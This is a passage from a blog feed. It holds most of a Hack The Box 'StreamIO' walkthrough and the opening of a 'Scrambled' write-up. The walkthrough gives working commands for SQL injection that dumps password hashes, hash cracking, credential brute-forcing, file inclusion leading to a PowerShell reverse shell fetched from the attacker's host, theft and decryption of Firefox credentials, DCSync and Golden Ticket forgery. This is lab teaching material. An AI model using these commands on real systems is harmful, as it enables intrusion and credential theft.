src="https://cdn-images-1.medium.com/max/404/1*WEgSITLxog71gjYJLgFn9g.png" /><figcaption>SQL Injection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*NyqBM_2dSR6b9GQS4l6FGw.png" /><figcaption>SQL Injection success yet failure due to blank return</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*nL-AS82a7qWKXPKe8KK_HQ.png" /><figcaption>Identification of table positions</figcaption></figure><p>This puts table names in position 2 and the database they belong to in position 3. Ignore the default ones like <em>information_schema</em>, <em>mysql</em>, <em>performance_schema.</em></p><p>Now that we know it’s 6 Columns, let’s go ahead and enumerate the current MSSQL version using @@veersion .</p><pre>need&#39; UNION SELECT 1,@@version,3,4,5,6;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*KEWHW2BQ0kISgu4nPdfnvw.png" /><figcaption>Server version identification</figcaption></figure><p>Let’s query the database names; we discover streamIO.</p><pre>need&#39; UNION SELECT 1,DB_NAME(),3,4,5,6;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*TuUu-BD5wzXK6qYwL1VWHg.png" /><figcaption>Database enumeration</figcaption></figure><p>Next, let’s enumerate user tables only using the xtype=’u’ flag; we don’t want system tables.</p><pre>need&#39; UNION SELECT 1,name,3,4,5,6 FROM streamIO..sysobjects WHERE xtype=&#39;U&#39;;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*Lx-T00NqRp0LuDQmrqTtfA.png" /><figcaption>Users table enumeration</figcaption></figure><p>Now that we know there is a users table — let&#39;s dump the users table. Before we do that though, we need to grab the columns in the users table. We identify it <em>id,is_staff,password,username</em> columns.</p><pre>need&#39; UNION SELECT 1,STRING_AGG(name,&#39;,&#39;),3,4,5,6 FROM streamIO..syscolumns WHERE id=OBJECT_ID(&#39;users&#39;);-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*2ugJy8BNw5Ua4sdjNFzANg.png" /><figcaption>Column enumeration in users table</figcaption></figure><p>Finally, we can dump the users hashes — but this is kind of ugly, but works.</p><pre>need&#39; UNION SELECT 1,STRING_AGG(username+&#39;:&#39;+password,&#39;,&#39;),3,4,5,6 FROM users;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Ss8MDjEf2zRorU3I6Xp3pQ.png" /><figcaption>Succesful hash dump</figcaption></figure><p>If you want something pretty, you can use this.</p><pre>need&#39; UNION SELECT 1,concat(username,&#39;:&#39;,password),3,4,5,6 FROM users;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*MfwEldDODjhQyuFdJ3ugcg.png" /><figcaption>Cleaned up hash dump</figcaption></figure><p>If we want to be smart, we can use the is_staff column to know which accounts have elevated privileges. 1 is a staff account, 0 is not.</p><pre>need&#39; UNION SELECT 1,STRING_AGG(username+&#39;:&#39;+password+&#39;:&#39;+CAST(is_staff AS VARCHAR),&#39;,&#39;),3,4,5,6 FROM users;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*DFsJ8AavfI0jcYLHnBAFrA.png" /><figcaption>Hash dump with privilege identification</figcaption></figure><p>Now let’s exfiltrate the hashes and use hash-identifierto determine what kind they are. We can identify that they are MD5 hashes, which is super easy to crack.</p><pre>cat hashes.txt<br>hash-identifier c660060492d9edcaa8332d89c99c9239</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*pbGm5BkxnaZiJdOEnEaiFw.png" /><figcaption>hash collection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*T6g-hNehbWKsq67gtwZBhw.png" /><figcaption>Hash identification using hash-identifier</figcaption></figure><p>We can use Hashcat to crack the hashes, and it’s super quick.</p><pre>hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*-NNp3CH6lf0DLKGjcZ0SHg.png" /><figcaption>Successful hash cracking</figcaption></figure><p>Unfortunately, we need to manually cross-correlate, and we get the below username:password association.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*T1ZVmMW2K6ZtE5GOiQRHTg.png" /><figcaption>Username password correlation</figcaption></figure><p>We now need to split them into files users and passwords because we have to validate credentials at scale.</p><pre>cat passwords.txt<br>cat users.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*axr_sGB3UR5aAWy0b_10ug.png" /></figure><p>To expedite things, we can use Ffuf to validate the credentials, ensuring we also utilize POST, Header, and -fc 200 so we only get successful responses. We observe that credentials work for yoshihide:66boysandgirls..</p><pre>ffuf -w users.txt:USER -w passwords.txt:PASS \<br>  -u https://streamio.htb/login.php \<br>  -X POST -d &quot;username=USER&amp;password=PASS&quot; \<br>  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \<br>  -fc 200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*lFGwNso5Ez-a5IedrGwaBw.png" /><figcaption>Succesful user &amp; password validation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*N6tZC157woKZynDfNmJyxQ.png" /><figcaption>USername and password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*WPG6niPYxBhue-vL0IHwdA.png" /><figcaption>home page</figcaption></figure><p>With our new credentialed access, let&#39;s go to https://streamio.htb/admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yE1NA38PAjb55Mdz_yvopw.png" /></figure><p>I observe that there is a https://streamio.htb/admin/?message= open redirect; we try a Local File Inclusion (LFI), but it doesn&#39;t show anything — which sucks.</p><pre>https://streamio.htb/admin/?message=..\..\..\windows\system32\drivers\etc\hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tgC5wORGuGfvT4PdMo9R0g.png" /><figcaption>Failed LFI</figcaption></figure><p>Now that we are logged in, we should definitely grab the cookie for web requests to ensure everything goes off without any issues.</p><pre>select -&gt; More Tools -&gt; Web Developer Tools -&gt; Network -&gt; click /admin/?message= -&gt; Click Cookies -&gt; Copy Cookies<br><br>hr2qtilsdtj9k9ih1eacqc6j1m #$SESSION_COOKIE GOING FORWARD</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kVoRukGk-2vn1TJxwObkg.png" /><figcaption>Grab session cookies</figcaption></figure><p>Now that we have the cookies for our requests, let’s go ahead and go back to directory enumeration. On our initial recon, web requests are spitting out too many size 1678 , we cut that down by using flag -fs 1678. On the next attempt, we can discover <a href="https://streamio.htb/admin/?debug=.">https://streamio.htb/admin/?debug=</a> . Now that we have debug, let’s recreate the enumeration and see what php files we can enumerate, which leads to the discovery of index.php and master.php</p><pre>ffuf -u https://streamio.htb/admin/?FUZZ= -H &quot;Cookie: PHPSESSID=$SESSION_COOKIE&quot; -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt<br>ffuf -u https://streamio.htb/admin/?FUZZ= -H &quot;Cookie: PHPSESSID=$SESSION_COOKIE&quot; -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1678<br>ffuf -u https://streamio.htb/admin/?debug=FUZZ -H &quot;Cookie: PHPSESSID=$SESSION_COOKIE&quot; -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -e .php -fs 1712</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*G0KKFrO86tPMxrKT0SLyTA.png" /><figcaption>Bunch of false positives for Size 1678</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*tzU44hRQcb6dA5evUhpDQg.png" /><figcaption>Enumeration of debug directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*s34PPQUfHdPBeZZZsg3tXA.png" /><figcaption>Enumeration of index and master.php in debug directory</figcaption></figure><p>Let’s circle back and see what the debug directory looks like; we observe this option is for developers only which is a pretty good sign!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NaIhtHeJZkHDaF9TdD5UYQ.png" /></figure><p>Since we already know earlier that this is vulnerable to LFI, we can assume that it’s still vulnerable to LFI in a further credentialed directory tree. We attempt to look at index.php which produces an ---ERROR--- message. We can use a <strong>PHP Filter</strong> to attempt to grab the contents of the file and encode it in base64. Per <a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion">OWASP</a>,</p><blockquote><strong>PHP Filter</strong></blockquote><blockquote>Used to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.</blockquote><blockquote>The wrapper can be used like php://filter/convert.base64-encode/resource=FILE where FILE is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.</blockquote><pre>https://streamio.htb/admin/?debug=index.php<br>https://streamio.htb/admin/?debug=master.php<br>https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php<br>https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y5_l7Da6dprmOYmhU7p6eA.png" /><figcaption>Error message in index.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ewFYySP6PHc7ebciWhmYfQ.png" /><figcaption>Master.php showing as live</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4sOpYSboZo1aQH8fsrozHg.png" /><figcaption>PHP Filter LFI to capture of target file index.php and base64 encoded</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qx9nkMnwRF0wZj0eyq_PdQ.png" /><figcaption>PHP Filter LFI to capture of target file master.php and base64 encoded</figcaption></figure><p>Now let&#39;s decode this base64 for both</p><pre>echo &quot;BASE64&quot; | base64 -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*i_TAU1BCl_mJ85LHeSwAhA.png" /><figcaption>Discovery of db_admin user credentials on index.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*ieZMJJDrhrgPhj6sKynKyQ.png" /><figcaption>Discovery of non-sanitzed input on master.php</figcaption></figure><p>With the discovery of unsanitized input on master.php, it’s time for a Remote File Inclusion (RFI); we confirm it works with a dir to see file contents.</p><pre>echo &quot;system(&quot;dir&quot;);&quot; &gt; test.php<br>cat test.php<br><br>python3 -m http.server 8080<br><br>curl -k -X POST &quot;https://streamio.htb/admin/?debug=master.php&quot; \<br>  -d &quot;include=http://$IP:8080/test.php&quot; \<br>  -b &quot;PHPSESSID=$SESSION_COOKIE&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*uJN6tk-8cSo5Tc3_uzSjvA.png" /><figcaption>Creating basic php reverse shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*CeIW2yrjpdVKu_IbPKj8uQ.png" /><figcaption>Hosting on python server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJMTZlHawZGeuKxtOrNBHw.png" /><figcaption>Curl request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*rAhQ3E2vFkWN3UdMGLbHZQ.png" /><figcaption>Confirmation of RFI</figcaption></figure><p>Now time to fully weaponize this — so let’s go to <a href="http://revshells.com/">Revshells</a> and create our reverse shell.</p><ul><li>IP: $IP</li><li>Port: 9001</li><li>Pick <strong>PowerShell #5 (stderr support) (Base64)</strong></li><li>Copy the entire powershell -e JAB... string and replace &lt;BASE64_FROM_REVSHELLS&gt;</li></ul><pre><br>cat &gt; shell.php &lt;&lt; &#39;EOF&#39;<br>system(&quot;powershell -e &lt;BASE64_FROM_REVSHELLS&gt;&quot;);<br>EOF<br><br># Terminal 1 - host it<br>python3 -m http.server 8080<br><br># Terminal 2 - listener<br>nc -lvnp 9001<br><br># Terminal 3 - trigger<br>curl -k -X POST &quot;https://streamio.htb/admin/?debug=master.php&quot; \<br>  -d &quot;include=http://$IP:8080/shell.php&quot; \<br>  -b &quot;PHPSESSID=$SESSION_COOKIE&quot;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NGxHaTMIM5ORDPSoVq18tA.png" /><figcaption>Revshells</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*or0s_ZOfyY_YN_x9MBIsHg.png" /><figcaption>Hosting on python server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yKGxDHDUsv1NFADConGcXg.png" /><figcaption>Creation of php file and Curl</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*oZjjbIguDJ71hY9sUgrHbA.png" /><figcaption>Succesful RFI</figcaption></figure><p>First thing we are going to do once on the shell is to check our privileges, but it doesn’t appear that we really have anything.</p><pre>whoami /all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36J87atdiEaWmE8TwWkKbg.png" /><figcaption>Basic user priviliges</figcaption></figure><p>We know that there is an MSSQL instance, so let’s check out our local connection using sqlcmd. Since we can log in with db_admin we discovered earlier, let&#39;s check all the databases. We seeSTREAMIO, and unfortunately we get the same hashes.</p><pre>sqlcmd -S localhost -U db_admin -P &quot;B1@hx31234567890&quot; -Q &quot;SELECT name FROM master..sysdatabases;&quot;<br>sqlcmd -S localhost -U db_admin -P &quot;B1@hx31234567890&quot; -d streamIO -Q &quot;SELECT * FROM users;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3gUXMElkbQ76QeMVvUfRMQ.png" /><figcaption>Available databases</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mvemhupx7a0jAzmBM0lBtw.png" /><figcaption>Same hashes</figcaption></figure><p>Let’s check the other databases, such as streamio_backup. We can get a hash for user nikk37 and use hash-identifier to determine the hash is in fact MD5, which is another easy hash to crack.</p><pre>sqlcmd -S localhost -U db_admin -P &quot;B1@hx31234567890&quot; -d streamio_backup -Q &quot;SELECT * FROM users;&quot;<br>hash-identifier 389d14cb8e4e9b94b137deb1caf0612a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHHB11P0c0EpaU58MX4D2g.png" /><figcaption>Nikk37</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*odskr3BrblPy3w8JnuTeSg.png" /><figcaption>MD5 hash</figcaption></figure><p>Since this is an MD5 hash, it should be fairly easy to crack with Hashcat, which successfully gives us the password get_dem_girls2@yahoo.com — which is a wild password.</p><pre>echo &quot;389d14cb8e4e9b94b137deb1caf0612a&quot; &gt; newhash.txt<br>hashcat -m 0 newhash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*HAeYKUGXGSICicJIwtHXMw.png" /><figcaption>Hashcat cracking</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*oHc6jFGEd-j5xi3kZeFMTA.png" /><figcaption>Sucessful hash cracking</figcaption></figure><p>As per usual, we want to validate credentials via WinRM using tools Netexecand Evil-WinRM to grab the user flag.</p><pre>nxc winrm $IP -u nikk37 -p &#39;get_dem_girls2@yahoo.com&#39;<br>evil-winrm -i $IP -u nikk37 -p &#39;get_dem_girls2@yahoo.com&#39;<br>whoami /all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bLP7llYnwRpUpSKbxql38Q.png" /><figcaption>Successful credential validation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KX9zEYkCBujA8N6EbyC2Ww.png" /><figcaption>Enumeration of user flag user.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RmDoco_FVm_F3k2OBqG5w.png" /><figcaption>Revalidation of priviliges</figcaption></figure><p>Unfortunately, we see that our privileges are locked down. So we will let WinPeas do the heavy lifting for us. We simply copy the binary to our home directory, upload it viaEvil-WinRM, and execute it. Upon execution, we see that there is a Firefox database that we can exfiltrate; fingers crossed there are some credentials in it.</p><pre>cp /usr/share/peass/winpeas/winPEASx64.exe /home/nullxneed/wp.exe<br>evil-winrm -i $IP -u nikk37 -p &#39;get_dem_girls2@yahoo.com&#39;<br>upload wp.exe<br>dir<br>.\wp.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*0rpzI7G_s2PiNza00NuwLw.png" /><figcaption>Copy and upload of WinPeasx64.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Fc-kA40P5r0F-t9p746SQ.png" /><figcaption>Discovery of Firefox database</figcaption></figure><p>Time to download and exfiltrate key4.db, logins.db, and cert9.db</p><pre>download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db<br>download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json<br>download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\cert9.db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GesPhY-ja9EUmM9MkepA5g.png" /><figcaption>Successful exfiltration of key4.db, logins.db</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lLv8MT6zgQjqG-drr8IDtA.png" /><figcaption>Sucessful exfiltration ofc ert9.db</figcaption></figure><p>With those database files exfiltrated, we can use <a href="https://github.com/unode/firefox_decrypt"><strong>Firefox_decrypt</strong></a> and create a new folder to ensure we are parsing our downloaded Firefox files, not our local ones!</p><pre>mkdir ~/ff_loot<br>cp ~/key4.db ~/logins.json ~/cert9.db ~/ff_loot/<br><br><br>git clone https://github.com/unode/firefox_decrypt.git<br>cd firefox_decrypt/<br><br>python3 firefox_decrypt.py ~/ff_loot/<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*brTisgTL0MN_zk3V0f9WCA.png" /><figcaption>Creation of new directory ~/ff_loot</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*qZLFL4H9uqamrZmxDawqkQ.png" /><figcaption>git cloning of Firefox_decrypt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPh6B6we1TrpjM7r-shtZg.png" /><figcaption>Succesful decryption of firefox_decrypt</figcaption></figure><p>So we are back at username:password validation stage. We need to conduct another password spray. We separate the users into usersv2.txt and passwords into passwordsV2.txt. Once separated, we utilize NetExec and successfully identify that the credentials are JDgodd:JDg0dd1s@d0p3cr3@t0r</p><pre>nxc smb $IP -u usersv2.txt -p passwordsV2.txt --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*wqzAL3u0zeJXBEoHOgLA7w.png" /><figcaption>Creation of usersv2.txt &amp; passwordsV2.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GmJ9sb5ZVBy-10CzIkXyCQ.png" /><figcaption>Sucessful validation of user:password credentials</figcaption></figure><p>As per usual, we need to validate credentials and validate them against applicable protocols. We see that the credentials work for SMB, but not for WinRM — which means we may be dead in the water.</p><pre>nxc smb $IP -u JDgodd -p &#39;JDg0dd1s@d0p3cr3@t0r&#39;<br>nxc winrm $IP -u JDgodd -p &#39;JDg0dd1s@d0p3cr3@t0r&#39;<br>nxc winrm $IP -u JDgodd -p &#39;JDg0dd1s@d0p3cr3@t0r&#39; --local-auth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKBESa1zCoN-5ZEblUkHog.png" /><figcaption>Successful SMB login</figcaption></figure><p>I might have been dramatic; we aren’t ever truly dead in the water. First, we need to kill the process/python server on 8080 that we were using earlier, since that’s what default Bloodhound uses. Once that process is dead, we need to spin up Bloodhound.</p><pre>sudo fuser -k 8080/tcp<br>wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz<br>tar -xvzf bloodhound-cli-linux-amd64.tar.gz<br>rm -r  bloodhound-cli-linux-amd64.tar.gz<br>sudo systemctl start docker<br>sudo service docker start<br>sudo ./bloodhound-cli install</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*Hbn-_mN7SQaB7qtoQ8vofw.png" /><figcaption>Successful installation/starting of Bloodhound</figcaption></figure><p>With Bloodhound up and running, we can go ahead and do a draw. We will utilize NetExec, which is successful.</p><pre>nxc ldap $IP -u nikk37 -p &#39;get_dem_girls2@yahoo.com&#39; --bloodhound --collection All --dns-server $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dFeghFWj_jXG_TAlRKrVig.png" /><figcaption>Successful Bloodhound draw using Netexec</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*WYF-SEvnr6T3XRt-sTVLWQ.png" /><figcaption>Selection of Zip file for Ingestion</figcaption></figure><p>Once the zip file has been ingested, move over to the search function and let’s mark Nikk37 and JDGodd as Owned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*45mc1Pme5O11d_a3BqXksQ.png" /><figcaption>Marking Nikk37 as Owned</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*payzroFEU8DIUbdhyHwYOg.png" /><figcaption>Marking JDGodd as Owned</figcaption></figure><p>Once we’ve done that, let’s check permissions, and we see that Nikk37 has noOutbound Object Controls, aka we can’t do much with it. We check the permissions for JDGodd and see that Outbound Object Controls is over CORE STAFF@STREAMIO.HTB. Specifically, JDGodd has WriteOwner/Owns over CORE STAFF@STREAMIO.HTB group. Since we are onLinux, we select Linux Abuse and see that there is a viable attack path we can follow!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*_xKkDNsKeOheci7p6ddtAw.png" /><figcaption>No Outbound Object Control</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwTeWXegjoUl5RlHD_gENA.png" /><figcaption>JDGodd WriteOwner/Owns CORE Staff@STREAMIO.HTB</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*fBA3iI8MVgxOXRyKXrv_hA.png" /><figcaption>Linux attack path</figcaption></figure><p>Before we follow theLinux attack path, we want to go check the quickest way to the Administratorsection. We identify that the quick win is WriteOwner-&gt; ReadLapsPassword -&gt; CoerceTGT/DCSync</p><pre>WriteOwner -&gt; ReadLapsPassword -&gt; CoerceTGT/DCSync</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jo8WW9kB4Xo-ALzzffTqHA.png" /><figcaption>Quickest way to Administrator</figcaption></figure><p>So the attack flow is as follows</p><blockquote><em>JDGODD → WriteOwner → CORE STAFF (take ownership, add yourself)</em></blockquote><blockquote><em>CORE STAFF → ReadLAPSPassword → DC.STREAMIO.HTB (read the local admin password)</em></blockquote><blockquote><em>DC.STREAMIO.HTB → DCSync → STREAMIO.HTB (dump all domain hashes)</em></blockquote><p>Let’s have some fun!</p><pre>owneredit.py -action write -new-owner &#39;JDGODD&#39; -target &#39;CORE STAFF&#39; -dc-ip $IP &#39;streamio.htb&#39;/&#39;JDGODD&#39;:&#39;JDg0dd1s@d0p3cr3@t0r&#39;<br>dacledit.py -action &#39;write&#39; -rights &#39;WriteMembers&#39; -principal &#39;JDGODD&#39; -target &#39;CORE STAFF&#39; -dc-ip $IP &#39;streamio.htb&#39;/&#39;JDGODD&#39;:&#39;JDg0dd1s@d0p3cr3@t0r&#39;<br>net rpc group addmem &quot;CORE STAFF&quot; &quot;JDGODD&quot; -U &quot;streamio.htb&quot;/&quot;JDGODD&quot;%&#39;JDg0dd1s@d0p3cr3@t0r&#39; -S &quot;dc.streamio.htb&quot;<br>nxc ldap dc.streamio.htb -u JDGODD -p &#39;JDg0dd1s@d0p3cr3@t0r&#39; --kdcHost dc.streamio.htb -M laps<br>impacket-secretsdump &#39;streamio.htb&#39;/&#39;Administrator&#39;:&#39;&amp;+Y&amp;Ii+d3!3T18&#39;@dc.streamio.htb<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t8mL8xZMSY3jRVF5qKCDTw.png" /><figcaption>Take ownership</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zITr8rErSXPXU7bKL1PFLw.png" /><figcaption>Grant AddMember rights</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1eEWSVaPzi4WIvoaSI-AIA.png" /><figcaption>Add JDGODD to CORE STAFF and Read LAPS password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGIyOFl5esZWSP_QTwtnzg.png" /><figcaption>DCSync with LAPS password</figcaption></figure><p>Now that we have the LAPS password and dumped hashes, we can conduct a Pass The Hash and log in as Administrator. Per our luck, there is no flag on the Administrator desktop, so we will move over to the Martin’s desktop directory and grab the root flag root.txt</p><pre>evil-winrm -i $IP -u administrator -H c75941cf261f5a5c86d573fa3ea4070b</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSquLF45egVQYj1JcgOTKw.png" /><figcaption>Get shell as admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*fZR781Xf8DrV3YExXzLjhg.png" /><figcaption>Enumeration of root flag root.txt</figcaption></figure><p><strong>Golden Ticket w/ AES256</strong><br>Now that we have dumped domain hashes, we can establish persistence utilizing a Golden Ticketand privilege escalation to NT Authority\System using Impacket-Psexec</p><pre>nxc ldap $IP -u administrator -H c75941cf261f5a5c86d573fa3ea4070b --get-sid<br>ticketer.py -aesKey 668ee76d84bf5ea1e845933ace27ecde98b736f218c0830cbe71e18812166cda -domain-sid S-1-5-21-1470860369-1569627196-4264678630 -domain streamio.htb Administrator<br>export KRB5CCNAME=$(pwd)/Administrator.ccache<br>impacket-psexec -k -no-pass streamio.htb/Administrator@dc.streamio.htb<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaN8q_QRkVISTZrISE838Q.png" /><figcaption>Enumeration of Domain SID</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8V_Cagf-tlusd8nEZOfOaQ.png" /><figcaption>Collection of Krbtgt AES256 hash</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SrMAaVSoMyzI5dYgUrXyuA.png" /></figure><p>We attempt to execute the flow, but we get an error KRB_APP_ERR_SKEW(Clock Skew too Great) aka our clock isn’t within 5 minutes of the DC’s. So let’s change that using ntpdate or the more manual way if you don&#39;t have that downloaded.</p><pre>sudo ntpdate $IP<br><br>or<br><br>sudo timedatectl set-timezone UTC<br>nmap --script smb2-time $IP<br>sudo date -s &quot;$TIME&quot;<br>date</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*mGBc5zwPApeB5UK7weURBQ.png" /></figure><p>Once it has been synced, we will try again, and we are successful in conducting our Golden Ticket and Privilege escalation to NT Authority\System.</p><pre>impacket-psexec -k -no-pass streamio.htb/Administrator@dc.streamio.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*aa1R0punvMmFsEqfme8q_A.png" /><figcaption>Sucessful Golden Ticket and Privilege escalation</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ae68d046633" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Scrambled]]></title>
            <link>https://medium.com/@xNEED/htb-scrambled-866fb5861e01?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/866fb5861e01</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Sun, 12 Jul 2026 23:18:40 GMT</pubDate>
            <atom:updated>2026-07-12T23:28:11.936Z</atom:updated>
            <content:encoded><![CDATA[<p>A medium-rated box from the <strong>Active Directory Exploitation </strong>path that feels a bit like a hard box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*4ifQFCHimM3RuhbtfXq57A.png" /></figure><p><em>Scrambled is a medium Windows Active Directory machine. Enumerating the website hosted on the remote machine a potential attacker is able to deduce the credentials for the user </em><em>ksimpson. On the website, it is also stated that NTLM authentication is disabled meaning that Kerberos authentication is to be used. Accessing the </em><em>Public share with the credentials of </em><em>ksimpson, a PDF file states that an attacker retrieved the credentials of an SQL database. This is a hint that there is an SQL service running on the remote machine. Enumerating the normal user accounts, it is found that the account </em><em>SqlSvc has a </em><em>Service Principal Name (SPN) associated with it. An attacker can use this information to perform an attack that is knows as </em><em>kerberoasting and get the hash of </em><em>SqlSvc. After cracking the hash and acquiring the credentials for the </em><em>SqlSvc account an attacker can perform a </em><em>silver ticket attack to forge a ticket and impersonate the user </em><em>Administrator on the remote MSSQL service. Enumeration of the database reveals the credentials for user </em><em>MiscSvc, which can be used to execute code on the remote machine using PowerShell remoting. System enumeration as the new user reveals a </em><em>.NET application, which is listening on port </em><em>4411. Reverse engineering the application reveals that it is using the insecure </em><em>Binary Formatter class to transmit data, allowing the attacker to upload their own payload and get code execution as </em><em>nt authority\system.</em></p><p>Let’s check some ports. We discover</p><pre>nmap -sCV $IP -p- -min-rate 10000</pre><figure><img 